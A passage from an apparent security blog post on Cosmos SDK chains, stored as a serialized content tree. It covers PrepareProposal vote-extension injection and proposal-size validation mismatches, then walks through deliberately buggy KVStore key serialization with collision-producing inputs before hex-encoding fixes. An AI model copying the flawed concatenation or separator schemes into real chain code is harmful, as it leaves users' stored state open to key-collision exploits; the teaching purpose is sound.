,"props":85513,"children":85514},{"style":220},[85515],{"type":31,"value":327},{"type":25,"tag":201,"props":85517,"children":85518},{"class":203,"line":490},[85519,85523,85527,85531],{"type":25,"tag":201,"props":85520,"children":85521},{"style":230},[85522],{"type":31,"value":61808},{"type":25,"tag":201,"props":85524,"children":85525},{"style":208},[85526],{"type":31,"value":83002},{"type":25,"tag":201,"props":85528,"children":85529},{"style":220},[85530],{"type":31,"value":919},{"type":25,"tag":201,"props":85532,"children":85533},{"style":246},[85534],{"type":31,"value":84723},{"type":25,"tag":201,"props":85536,"children":85537},{"class":203,"line":499},[85538],{"type":25,"tag":201,"props":85539,"children":85540},{"style":220},[85541],{"type":31,"value":59964},{"type":25,"tag":201,"props":85543,"children":85544},{"class":203,"line":522},[85545,85550,85554,85558,85562,85567,85571,85576,85580,85584,85588,85592],{"type":25,"tag":201,"props":85546,"children":85547},{"style":246},[85548],{"type":31,"value":85549},"            injection",{"type":25,"tag":201,"props":85551,"children":85552},{"style":220},[85553],{"type":31,"value":919},{"type":25,"tag":201,"props":85555,"children":85556},{"style":246},[85557],{"type":31,"value":49497},{"type":25,"tag":201,"props":85559,"children":85560},{"style":261},[85561],{"type":31,"value":413},{"type":25,"tag":201,"props":85563,"children":85564},{"style":246},[85565],{"type":31,"value":85566}," json",{"type":25,"tag":201,"props":85568,"children":85569},{"style":220},[85570],{"type":31,"value":80},{"type":25,"tag":201,"props":85572,"children":85573},{"style":214},[85574],{"type":31,"value":85575},"Marshal",{"type":25,"tag":201,"props":85577,"children":85578},{"style":220},[85579],{"type":31,"value":298},{"type":25,"tag":201,"props":85581,"children":85582},{"style":246},[85583],{"type":31,"value":85233},{"type":25,"tag":201,"props":85585,"children":85586},{"style":220},[85587],{"type":31,"value":80},{"type":25,"tag":201,"props":85589,"children":85590},{"style":246},[85591],{"type":31,"value":85488},{"type":25,"tag":201,"props":85593,"children":85594},{"style":220},[85595],{"type":31,"value":4666},{"type":25,"tag":201,"props":85597,"children":85598},{"class":203,"line":531},[85599,85603,85607,85611,85615],{"type":25,"tag":201,"props":85600,"children":85601},{"style":230},[85602],{"type":31,"value":59880},{"type":25,"tag":201,"props":85604,"children":85605},{"style":246},[85606],{"type":31,"value":49598},{"type":25,"tag":201,"props":85608,"children":85609},{"style":261},[85610],{"type":31,"value":65467},{"type":25,"tag":201,"props":85612,"children":85613},{"style":208},[85614],{"type":31,"value":83002},{"type":25,"tag":201,"props":85616,"children":85617},{"style":220},[85618],{"type":31,"value":327},{"type":25,"tag":201,"props":85620,"children":85621},{"class":203,"line":550},[85622,85627,85631,85636,85640,85644,85648,85653,85657,85662,85666,85670],{"type":25,"tag":201,"props":85623,"children":85624},{"style":246},[85625],{"type":31,"value":85626},"                h",{"type":25,"tag":201,"props":85628,"children":85629},{"style":220},[85630],{"type":31,"value":80},{"type":25,"tag":201,"props":85632,"children":85633},{"style":246},[85634],{"type":31,"value":85635},"logger",{"type":25,"tag":201,"props":85637,"children":85638},{"style":220},[85639],{"type":31,"value":80},{"type":25,"tag":201,"props":85641,"children":85642},{"style":214},[85643],{"type":31,"value":38468},{"type":25,"tag":201,"props":85645,"children":85646},{"style":220},[85647],{"type":31,"value":298},{"type":25,"tag":201,"props":85649,"children":85650},{"style":267},[85651],{"type":31,"value":85652},"\"failed to marshal extended votes\"",{"type":25,"tag":201,"props":85654,"children":85655},{"style":220},[85656],{"type":31,"value":919},{"type":25,"tag":201,"props":85658,"children":85659},{"style":267},[85660],{"type":31,"value":85661},"\"err\"",{"type":25,"tag":201,"props":85663,"children":85664},{"style":220},[85665],{"type":31,"value":919},{"type":25,"tag":201,"props":85667,"children":85668},{"style":246},[85669],{"type":31,"value":49497},{"type":25,"tag":201,"props":85671,"children":85672},{"style":220},[85673],{"type":31,"value":4666},{"type":25,"tag":201,"props":85675,"children":85676},{"class":203,"line":563},[85677,85681,85685,85689],{"type":25,"tag":201,"props":85678,"children":85679},{"style":230},[85680],{"type":31,"value":61808},{"type":25,"tag":201,"props":85682,"children":85683},{"style":208},[85684],{"type":31,"value":83002},{"type":25,"tag":201,"props":85686,"children":85687},{"style":220},[85688],{"type":31,"value":919},{"type":25,"tag":201,"props":85690,"children":85691},{"style":246},[85692],{"type":31,"value":84723},{"type":25,"tag":201,"props":85694,"children":85695},{"class":203,"line":572},[85696],{"type":25,"tag":201,"props":85697,"children":85698},{"style":220},[85699],{"type":31,"value":59964},{"type":25,"tag":201,"props":85701,"children":85702},{"class":203,"line":590},[85703],{"type":25,"tag":201,"props":85704,"children":85705},{"style":261},[85706],{"type":31,"value":83602},{"type":25,"tag":201,"props":85708,"children":85709},{"class":203,"line":608},[85710],{"type":25,"tag":201,"props":85711,"children":85712},{"style":220},[85713],{"type":31,"value":4853},{"type":25,"tag":201,"props":85715,"children":85716},{"class":203,"line":617},[85717,85722,85726,85730,85734,85739,85743,85748,85752,85756,85760,85764],{"type":25,"tag":201,"props":85718,"children":85719},{"style":246},[85720],{"type":31,"value":85721},"        defaultRes",{"type":25,"tag":201,"props":85723,"children":85724},{"style":220},[85725],{"type":31,"value":919},{"type":25,"tag":201,"props":85727,"children":85728},{"style":246},[85729],{"type":31,"value":49497},{"type":25,"tag":201,"props":85731,"children":85732},{"style":261},[85733],{"type":31,"value":77500},{"type":25,"tag":201,"props":85735,"children":85736},{"style":246},[85737],{"type":31,"value":85738}," h",{"type":25,"tag":201,"props":85740,"children":85741},{"style":220},[85742],{"type":31,"value":80},{"type":25,"tag":201,"props":85744,"children":85745},{"style":214},[85746],{"type":31,"value":85747},"defaultPrepareProposal",{"type":25,"tag":201,"props":85749,"children":85750},{"style":220},[85751],{"type":31,"value":298},{"type":25,"tag":201,"props":85753,"children":85754},{"style":246},[85755],{"type":31,"value":21777},{"type":25,"tag":201,"props":85757,"children":85758},{"style":220},[85759],{"type":31,"value":919},{"type":25,"tag":201,"props":85761,"children":85762},{"style":246},[85763],{"type":31,"value":85233},{"type":25,"tag":201,"props":85765,"children":85766},{"style":220},[85767],{"type":31,"value":4666},{"type":25,"tag":201,"props":85769,"children":85770},{"class":203,"line":625},[85771],{"type":25,"tag":201,"props":85772,"children":85773},{"style":261},[85774],{"type":31,"value":82926},{"type":25,"tag":201,"props":85776,"children":85777},{"class":203,"line":642},[85778,85783,85787,85792,85796],{"type":25,"tag":201,"props":85779,"children":85780},{"style":246},[85781],{"type":31,"value":85782},"        proposalTxs",{"type":25,"tag":201,"props":85784,"children":85785},{"style":261},[85786],{"type":31,"value":77500},{"type":25,"tag":201,"props":85788,"children":85789},{"style":246},[85790],{"type":31,"value":85791}," defaultRes",{"type":25,"tag":201,"props":85793,"children":85794},{"style":220},[85795],{"type":31,"value":80},{"type":25,"tag":201,"props":85797,"children":85798},{"style":246},[85799],{"type":31,"value":85800},"Txs\n",{"type":25,"tag":201,"props":85802,"children":85803},{"class":203,"line":659},[85804,85808,85812,85816,85820],{"type":25,"tag":201,"props":85805,"children":85806},{"style":230},[85807],{"type":31,"value":4779},{"type":25,"tag":201,"props":85809,"children":85810},{"style":246},[85811],{"type":31,"value":85303},{"type":25,"tag":201,"props":85813,"children":85814},{"style":261},[85815],{"type":31,"value":65467},{"type":25,"tag":201,"props":85817,"children":85818},{"style":208},[85819],{"type":31,"value":83002},{"type":25,"tag":201,"props":85821,"children":85822},{"style":220},[85823],{"type":31,"value":327},{"type":25,"tag":201,"props":85825,"children":85826},{"class":203,"line":667},[85827,85832,85836,85840,85845,85850,85854,85859,85863,85868,85872],{"type":25,"tag":201,"props":85828,"children":85829},{"style":246},[85830],{"type":31,"value":85831},"            proposalTxs",{"type":25,"tag":201,"props":85833,"children":85834},{"style":261},[85835],{"type":31,"value":413},{"type":25,"tag":201,"props":85837,"children":85838},{"style":214},[85839],{"type":31,"value":78780},{"type":25,"tag":201,"props":85841,"children":85842},{"style":220},[85843],{"type":31,"value":85844},"([][]",{"type":25,"tag":201,"props":85846,"children":85847},{"style":4925},[85848],{"type":31,"value":85849},"byte",{"type":25,"tag":201,"props":85851,"children":85852},{"style":220},[85853],{"type":31,"value":77702},{"type":25,"tag":201,"props":85855,"children":85856},{"style":246},[85857],{"type":31,"value":85858},"injection",{"type":25,"tag":201,"props":85860,"children":85861},{"style":220},[85862],{"type":31,"value":77721},{"type":25,"tag":201,"props":85864,"children":85865},{"style":246},[85866],{"type":31,"value":85867},"proposalTxs",{"type":25,"tag":201,"props":85869,"children":85870},{"style":261},[85871],{"type":31,"value":11095},{"type":25,"tag":201,"props":85873,"children":85874},{"style":220},[85875],{"type":31,"value":4666},{"type":25,"tag":201,"props":85877,"children":85878},{"class":203,"line":676},[85879,85884,85888,85892,85896,85900,85904,85909,85913,85918,85922,85926,85930,85934],{"type":25,"tag":201,"props":85880,"children":85881},{"style":246},[85882],{"type":31,"value":85883},"            h",{"type":25,"tag":201,"props":85885,"children":85886},{"style":220},[85887],{"type":31,"value":80},{"type":25,"tag":201,"props":85889,"children":85890},{"style":246},[85891],{"type":31,"value":85635},{"type":25,"tag":201,"props":85893,"children":85894},{"style":220},[85895],{"type":31,"value":80},{"type":25,"tag":201,"props":85897,"children":85898},{"style":214},[85899],{"type":31,"value":26196},{"type":25,"tag":201,"props":85901,"children":85902},{"style":220},[85903],{"type":31,"value":298},{"type":25,"tag":201,"props":85905,"children":85906},{"style":267},[85907],{"type":31,"value":85908},"\"injected local last commit\"",{"type":25,"tag":201,"props":85910,"children":85911},{"style":220},[85912],{"type":31,"value":919},{"type":25,"tag":201,"props":85914,"children":85915},{"style":267},[85916],{"type":31,"value":85917},"\"height\"",{"type":25,"tag":201,"props":85919,"children":85920},{"style":220},[85921],{"type":31,"value":919},{"type":25,"tag":201,"props":85923,"children":85924},{"style":246},[85925],{"type":31,"value":85233},{"type":25,"tag":201,"props":85927,"children":85928},{"style":220},[85929],{"type":31,"value":80},{"type":25,"tag":201,"props":85931,"children":85932},{"style":246},[85933],{"type":31,"value":84563},{"type":25,"tag":201,"props":85935,"children":85936},{"style":220},[85937],{"type":31,"value":4666},{"type":25,"tag":201,"props":85939,"children":85940},{"class":203,"line":694},[85941],{"type":25,"tag":201,"props":85942,"children":85943},{"style":220},[85944],{"type":31,"value":4853},{"type":25,"tag":201,"props":85946,"children":85947},{"class":203,"line":707},[85948,85952,85956,85960,85964,85968],{"type":25,"tag":201,"props":85949,"children":85950},{"style":230},[85951],{"type":31,"value":17239},{"type":25,"tag":201,"props":85953,"children":85954},{"style":261},[85955],{"type":31,"value":8650},{"type":25,"tag":201,"props":85957,"children":85958},{"style":4925},[85959],{"type":31,"value":85242},{"type":25,"tag":201,"props":85961,"children":85962},{"style":220},[85963],{"type":31,"value":80},{"type":25,"tag":201,"props":85965,"children":85966},{"style":4925},[85967],{"type":31,"value":85272},{"type":25,"tag":201,"props":85969,"children":85970},{"style":220},[85971],{"type":31,"value":1822},{"type":25,"tag":201,"props":85973,"children":85974},{"class":203,"line":715},[85975,85980,85984,85988],{"type":25,"tag":201,"props":85976,"children":85977},{"style":246},[85978],{"type":31,"value":85979},"            Txs",{"type":25,"tag":201,"props":85981,"children":85982},{"style":220},[85983],{"type":31,"value":2957},{"type":25,"tag":201,"props":85985,"children":85986},{"style":246},[85987],{"type":31,"value":85867},{"type":25,"tag":201,"props":85989,"children":85990},{"style":220},[85991],{"type":31,"value":547},{"type":25,"tag":201,"props":85993,"children":85994},{"class":203,"line":732},[85995,86000],{"type":25,"tag":201,"props":85996,"children":85997},{"style":220},[85998],{"type":31,"value":85999},"        }, ",{"type":25,"tag":201,"props":86001,"children":86002},{"style":208},[86003],{"type":31,"value":77726},{"type":25,"tag":201,"props":86005,"children":86006},{"class":203,"line":749},[86007],{"type":25,"tag":201,"props":86008,"children":86009},{"style":220},[86010],{"type":31,"value":4861},{"type":25,"tag":201,"props":86012,"children":86013},{"class":203,"line":757},[86014],{"type":25,"tag":201,"props":86015,"children":86016},{"style":220},[86017],{"type":31,"value":1187},{"type":25,"tag":34,"props":86019,"children":86020},{},[86021,86023,86028,86029,86034,86036,86043],{"type":31,"value":86022},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":25,"tag":115,"props":86024,"children":86026},{"className":86025},[],[86027],{"type":31,"value":84392},{"type":31,"value":238},{"type":25,"tag":115,"props":86030,"children":86032},{"className":86031},[],[86033],{"type":31,"value":84460},{"type":31,"value":86035},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":25,"tag":71,"props":86037,"children":86040},{"href":86038,"rel":86039},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[75],[86041],{"type":31,"value":86042},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":31,"value":86044},", which will later get rejected by CometBTF.",{"type":25,"tag":26,"props":86046,"children":86048},{"id":86047},"the-keymaker",[86049],{"type":31,"value":86050},"The Keymaker",{"type":25,"tag":34,"props":86052,"children":86053},{},[86054,86056,86062,86064,86069],{"type":31,"value":86055},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":25,"tag":115,"props":86057,"children":86059},{"className":86058},[],[86060],{"type":31,"value":86061},"KVStore",{"type":31,"value":86063}," to handle states efficently. In ",{"type":25,"tag":115,"props":86065,"children":86067},{"className":86066},[],[86068],{"type":31,"value":86061},{"type":31,"value":86070},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":25,"tag":34,"props":86072,"children":86073},{},[86074],{"type":31,"value":86075},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":25,"tag":34,"props":86077,"children":86078},{},[86079,86081,86087],{"type":31,"value":86080},"Let's start by considering a scenario where we need to store the ",{"type":25,"tag":115,"props":86082,"children":86084},{"className":86083},[],[86085],{"type":31,"value":86086},"positionMap",{"type":31,"value":86088}," structure mentioned below into storage.",{"type":25,"tag":191,"props":86090,"children":86092},{"code":86091,"language":77248,"meta":7,"className":77249,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[86093],{"type":25,"tag":115,"props":86094,"children":86095},{"__ignoreMap":7},[86096,86112,86129,86145,86164,86179,86186,86203],{"type":25,"tag":201,"props":86097,"children":86098},{"class":203,"line":204},[86099,86103,86108],{"type":25,"tag":201,"props":86100,"children":86101},{"style":208},[86102],{"type":31,"value":1684},{"type":25,"tag":201,"props":86104,"children":86105},{"style":4925},[86106],{"type":31,"value":86107}," VaultId",{"type":25,"tag":201,"props":86109,"children":86110},{"style":4925},[86111],{"type":31,"value":77286},{"type":25,"tag":201,"props":86113,"children":86114},{"class":203,"line":226},[86115,86119,86124],{"type":25,"tag":201,"props":86116,"children":86117},{"style":208},[86118],{"type":31,"value":1684},{"type":25,"tag":201,"props":86120,"children":86121},{"style":4925},[86122],{"type":31,"value":86123}," Username",{"type":25,"tag":201,"props":86125,"children":86126},{"style":4925},[86127],{"type":31,"value":86128}," string\n",{"type":25,"tag":201,"props":86130,"children":86131},{"class":203,"line":278},[86132,86136,86141],{"type":25,"tag":201,"props":86133,"children":86134},{"style":208},[86135],{"type":31,"value":1684},{"type":25,"tag":201,"props":86137,"children":86138},{"style":4925},[86139],{"type":31,"value":86140}," PositionName",{"type":25,"tag":201,"props":86142,"children":86143},{"style":4925},[86144],{"type":31,"value":86128},{"type":25,"tag":201,"props":86146,"children":86147},{"class":203,"line":311},[86148,86152,86156,86160],{"type":25,"tag":201,"props":86149,"children":86150},{"style":208},[86151],{"type":31,"value":1684},{"type":25,"tag":201,"props":86153,"children":86154},{"style":4925},[86155],{"type":31,"value":8934},{"type":25,"tag":201,"props":86157,"children":86158},{"style":208},[86159],{"type":31,"value":22646},{"type":25,"tag":201,"props":86161,"children":86162},{"style":220},[86163],{"type":31,"value":327},{"type":25,"tag":201,"props":86165,"children":86166},{"class":203,"line":330},[86167,86171,86175],{"type":25,"tag":201,"props":86168,"children":86169},{"style":246},[86170],{"type":31,"value":44304},{"type":25,"tag":201,"props":86172,"children":86173},{"style":220},[86174],{"type":31,"value":77311},{"type":25,"tag":201,"props":86176,"children":86177},{"style":4925},[86178],{"type":31,"value":85312},{"type":25,"tag":201,"props":86180,"children":86181},{"class":203,"line":397},[86182],{"type":25,"tag":201,"props":86183,"children":86184},{"style":220},[86185],{"type":31,"value":1187},{"type":25,"tag":201,"props":86187,"children":86188},{"class":203,"line":437},[86189,86193,86198],{"type":25,"tag":201,"props":86190,"children":86191},{"style":208},[86192],{"type":31,"value":1684},{"type":25,"tag":201,"props":86194,"children":86195},{"style":4925},[86196],{"type":31,"value":86197}," PositionMap",{"type":25,"tag":201,"props":86199,"children":86200},{"style":261},[86201],{"type":31,"value":86202}," :=\n",{"type":25,"tag":201,"props":86204,"children":86205},{"class":203,"line":464},[86206,86211,86215,86220,86224,86228,86232,86237,86241,86245,86249,86254,86258],{"type":25,"tag":201,"props":86207,"children":86208},{"style":208},[86209],{"type":31,"value":86210},"    map",{"type":25,"tag":201,"props":86212,"children":86213},{"style":220},[86214],{"type":31,"value":423},{"type":25,"tag":201,"props":86216,"children":86217},{"style":4925},[86218],{"type":31,"value":86219},"VaultId",{"type":25,"tag":201,"props":86221,"children":86222},{"style":220},[86223],{"type":31,"value":16907},{"type":25,"tag":201,"props":86225,"children":86226},{"style":208},[86227],{"type":31,"value":68183},{"type":25,"tag":201,"props":86229,"children":86230},{"style":220},[86231],{"type":31,"value":423},{"type":25,"tag":201,"props":86233,"children":86234},{"style":4925},[86235],{"type":31,"value":86236},"Username",{"type":25,"tag":201,"props":86238,"children":86239},{"style":220},[86240],{"type":31,"value":16907},{"type":25,"tag":201,"props":86242,"children":86243},{"style":208},[86244],{"type":31,"value":68183},{"type":25,"tag":201,"props":86246,"children":86247},{"style":220},[86248],{"type":31,"value":423},{"type":25,"tag":201,"props":86250,"children":86251},{"style":4925},[86252],{"type":31,"value":86253},"PositionName",{"type":25,"tag":201,"props":86255,"children":86256},{"style":220},[86257],{"type":31,"value":16907},{"type":25,"tag":201,"props":86259,"children":86260},{"style":4925},[86261],{"type":31,"value":86262},"Position\n",{"type":25,"tag":34,"props":86264,"children":86265},{},[86266,86268,86274],{"type":31,"value":86267},"Given that there are two levels of keys in ",{"type":25,"tag":115,"props":86269,"children":86271},{"className":86270},[],[86272],{"type":31,"value":86273},"PositionMap",{"type":31,"value":86275},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":25,"tag":191,"props":86277,"children":86279},{"code":86278,"language":77248,"meta":7,"className":77249,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[86280],{"type":25,"tag":115,"props":86281,"children":86282},{"__ignoreMap":7},[86283,86312,86324,86336,86348,86360],{"type":25,"tag":201,"props":86284,"children":86285},{"class":203,"line":204},[86286,86291,86295,86299,86303,86308],{"type":25,"tag":201,"props":86287,"children":86288},{"style":246},[86289],{"type":31,"value":86290},"storageKey",{"type":25,"tag":201,"props":86292,"children":86293},{"style":261},[86294],{"type":31,"value":77500},{"type":25,"tag":201,"props":86296,"children":86297},{"style":246},[86298],{"type":31,"value":83318},{"type":25,"tag":201,"props":86300,"children":86301},{"style":220},[86302],{"type":31,"value":80},{"type":25,"tag":201,"props":86304,"children":86305},{"style":214},[86306],{"type":31,"value":86307},"Sprintf",{"type":25,"tag":201,"props":86309,"children":86310},{"style":220},[86311],{"type":31,"value":4970},{"type":25,"tag":201,"props":86313,"children":86314},{"class":203,"line":226},[86315,86320],{"type":25,"tag":201,"props":86316,"children":86317},{"style":267},[86318],{"type":31,"value":86319},"    \"%d%s%s\"",{"type":25,"tag":201,"props":86321,"children":86322},{"style":220},[86323],{"type":31,"value":547},{"type":25,"tag":201,"props":86325,"children":86326},{"class":203,"line":278},[86327,86332],{"type":25,"tag":201,"props":86328,"children":86329},{"style":246},[86330],{"type":31,"value":86331},"    vaultId",{"type":25,"tag":201,"props":86333,"children":86334},{"style":220},[86335],{"type":31,"value":547},{"type":25,"tag":201,"props":86337,"children":86338},{"class":203,"line":311},[86339,86344],{"type":25,"tag":201,"props":86340,"children":86341},{"style":246},[86342],{"type":31,"value":86343},"    username",{"type":25,"tag":201,"props":86345,"children":86346},{"style":220},[86347],{"type":31,"value":547},{"type":25,"tag":201,"props":86349,"children":86350},{"class":203,"line":330},[86351,86356],{"type":25,"tag":201,"props":86352,"children":86353},{"style":246},[86354],{"type":31,"value":86355},"    positionName",{"type":25,"tag":201,"props":86357,"children":86358},{"style":220},[86359],{"type":31,"value":547},{"type":25,"tag":201,"props":86361,"children":86362},{"class":203,"line":397},[86363],{"type":25,"tag":201,"props":86364,"children":86365},{"style":220},[86366],{"type":31,"value":4666},{"type":25,"tag":34,"props":86368,"children":86369},{},[86370],{"type":31,"value":86371},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":25,"tag":191,"props":86373,"children":86375},{"code":86374},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[86376],{"type":25,"tag":115,"props":86377,"children":86378},{"__ignoreMap":7},[86379],{"type":31,"value":86374},{"type":25,"tag":34,"props":86381,"children":86382},{},[86383,86388],{"type":25,"tag":65,"props":86384,"children":86385},{},[86386],{"type":31,"value":86387},"So, how can we mitigate this issue?",{"type":31,"value":86389},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":25,"tag":191,"props":86391,"children":86393},{"code":86392,"language":77248,"meta":7,"className":77249,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[86394],{"type":25,"tag":115,"props":86395,"children":86396},{"__ignoreMap":7},[86397,86408,86425,86432,86439,86466,86478,86489,86500,86511,86522,86533],{"type":25,"tag":201,"props":86398,"children":86399},{"class":203,"line":204},[86400,86404],{"type":25,"tag":201,"props":86401,"children":86402},{"style":208},[86403],{"type":31,"value":4074},{"type":25,"tag":201,"props":86405,"children":86406},{"style":220},[86407],{"type":31,"value":79650},{"type":25,"tag":201,"props":86409,"children":86410},{"class":203,"line":226},[86411,86416,86420],{"type":25,"tag":201,"props":86412,"children":86413},{"style":246},[86414],{"type":31,"value":86415},"    Seperator",{"type":25,"tag":201,"props":86417,"children":86418},{"style":261},[86419],{"type":31,"value":413},{"type":25,"tag":201,"props":86421,"children":86422},{"style":267},[86423],{"type":31,"value":86424}," \"|\"\n",{"type":25,"tag":201,"props":86426,"children":86427},{"class":203,"line":278},[86428],{"type":25,"tag":201,"props":86429,"children":86430},{"style":220},[86431],{"type":31,"value":4666},{"type":25,"tag":201,"props":86433,"children":86434},{"class":203,"line":311},[86435],{"type":25,"tag":201,"props":86436,"children":86437},{"emptyLinePlaceholder":17},[86438],{"type":31,"value":496},{"type":25,"tag":201,"props":86440,"children":86441},{"class":203,"line":330},[86442,86446,86450,86454,86458,86462],{"type":25,"tag":201,"props":86443,"children":86444},{"style":246},[86445],{"type":31,"value":86290},{"type":25,"tag":201,"props":86447,"children":86448},{"style":261},[86449],{"type":31,"value":77500},{"type":25,"tag":201,"props":86451,"children":86452},{"style":246},[86453],{"type":31,"value":83318},{"type":25,"tag":201,"props":86455,"children":86456},{"style":220},[86457],{"type":31,"value":80},{"type":25,"tag":201,"props":86459,"children":86460},{"style":214},[86461],{"type":31,"value":86307},{"type":25,"tag":201,"props":86463,"children":86464},{"style":220},[86465],{"type":31,"value":4970},{"type":25,"tag":201,"props":86467,"children":86468},{"class":203,"line":397},[86469,86474],{"type":25,"tag":201,"props":86470,"children":86471},{"style":267},[86472],{"type":31,"value":86473},"    \"%d%s%s%s%s\"",{"type":25,"tag":201,"props":86475,"children":86476},{"style":220},[86477],{"type":31,"value":547},{"type":25,"tag":201,"props":86479,"children":86480},{"class":203,"line":437},[86481,86485],{"type":25,"tag":201,"props":86482,"children":86483},{"style":246},[86484],{"type":31,"value":86331},{"type":25,"tag":201,"props":86486,"children":86487},{"style":220},[86488],{"type":31,"value":547},{"type":25,"tag":201,"props":86490,"children":86491},{"class":203,"line":464},[86492,86496],{"type":25,"tag":201,"props":86493,"children":86494},{"style":246},[86495],{"type":31,"value":86415},{"type":25,"tag":201,"props":86497,"children":86498},{"style":220},[86499],{"type":31,"value":547},{"type":25,"tag":201,"props":86501,"children":86502},{"class":203,"line":490},[86503,86507],{"type":25,"tag":201,"props":86504,"children":86505},{"style":246},[86506],{"type":31,"value":86343},{"type":25,"tag":201,"props":86508,"children":86509},{"style":220},[86510],{"type":31,"value":547},{"type":25,"tag":201,"props":86512,"children":86513},{"class":203,"line":499},[86514,86518],{"type":25,"tag":201,"props":86515,"children":86516},{"style":246},[86517],{"type":31,"value":86415},{"type":25,"tag":201,"props":86519,"children":86520},{"style":220},[86521],{"type":31,"value":547},{"type":25,"tag":201,"props":86523,"children":86524},{"class":203,"line":522},[86525,86529],{"type":25,"tag":201,"props":86526,"children":86527},{"style":246},[86528],{"type":31,"value":86355},{"type":25,"tag":201,"props":86530,"children":86531},{"style":220},[86532],{"type":31,"value":547},{"type":25,"tag":201,"props":86534,"children":86535},{"class":203,"line":531},[86536],{"type":25,"tag":201,"props":86537,"children":86538},{"style":220},[86539],{"type":31,"value":4666},{"type":25,"tag":34,"props":86541,"children":86542},{},[86543],{"type":31,"value":86544},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":25,"tag":34,"props":86546,"children":86547},{},[86548,86550,86556,86557,86563],{"type":31,"value":86549},"Sadly, it doesn't. Since the ",{"type":25,"tag":115,"props":86551,"children":86553},{"className":86552},[],[86554],{"type":31,"value":86555},"username",{"type":31,"value":12493},{"type":25,"tag":115,"props":86558,"children":86560},{"className":86559},[],[86561],{"type":31,"value":86562},"vaultName",{"type":31,"value":86564}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":25,"tag":191,"props":86566,"children":86568},{"code":86567},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[86569],{"type":25,"tag":115,"props":86570,"children":86571},{"__ignoreMap":7},[86572],{"type":31,"value":86567},{"type":25,"tag":34,"props":86574,"children":86575},{},[86576],{"type":31,"value":86577},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":25,"tag":191,"props":86579,"children":86581},{"code":86580,"language":77248,"meta":7,"className":77249,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[86582],{"type":25,"tag":115,"props":86583,"children":86584},{"__ignoreMap":7},[86585,86596,86611,86618,86625,86632,86653,86669,86707,86714,86751,86758,86778,86793,86829,86836,86871,86878,86905,86916,86927,86938,86950,86961,86969],{"type":25,"tag":201,"props":86586,"children":86587},{"class":203,"line":204},[86588,86592],{"type":25,"tag":201,"props":86589,"children":86590},{"style":208},[86591],{"type":31,"value":4074},{"type":25,"tag":201,"props":86593,"children":86594},{"style":220},[86595],{"type":31,"value":79650},{"type":25,"tag":201,"props":86597,"children":86598},{"class":203,"line":226},[86599,86603,86607],{"type":25,"tag":201,"props":86600,"children":86601},{"style":246},[86602],{"type":31,"value":86415},{"type":25,"tag":201,"props":86604,"children":86605},{"style":261},[86606],{"type":31,"value":413},{"type":25,"tag":201,"props":86608,"children":86609},{"style":267},[86610],{"type":31,"value":86424},{"type":25,"tag":201,"props":86612,"children":86613},{"class":203,"line":278},[86614],{"type":25,"tag":201,"props":86615,"children":86616},{"style":220},[86617],{"type":31,"value":4666},{"type":25,"tag":201,"props":86619,"children":86620},{"class":203,"line":311},[86621],{"type":25,"tag":201,"props":86622,"children":86623},{"emptyLinePlaceholder":17},[86624],{"type":31,"value":496},{"type":25,"tag":201,"props":86626,"children":86627},{"class":203,"line":330},[86628],{"type":25,"tag":201,"props":86629,"children":86630},{"emptyLinePlaceholder":17},[86631],{"type":31,"value":496},{"type":25,"tag":201,"props":86633,"children":86634},{"class":203,"line":397},[86635,86640,86644,86649],{"type":25,"tag":201,"props":86636,"children":86637},{"style":246},[86638],{"type":31,"value":86639},"usernameEncoded",{"type":25,"tag":201,"props":86641,"children":86642},{"style":261},[86643],{"type":31,"value":77500},{"type":25,"tag":201,"props":86645,"children":86646},{"style":214},[86647],{"type":31,"value":86648}," make",{"type":25,"tag":201,"props":86650,"children":86651},{"style":220},[86652],{"type":31,"value":4970},{"type":25,"tag":201,"props":86654,"children":86655},{"class":203,"line":437},[86656,86661,86665],{"type":25,"tag":201,"props":86657,"children":86658},{"style":220},[86659],{"type":31,"value":86660},"    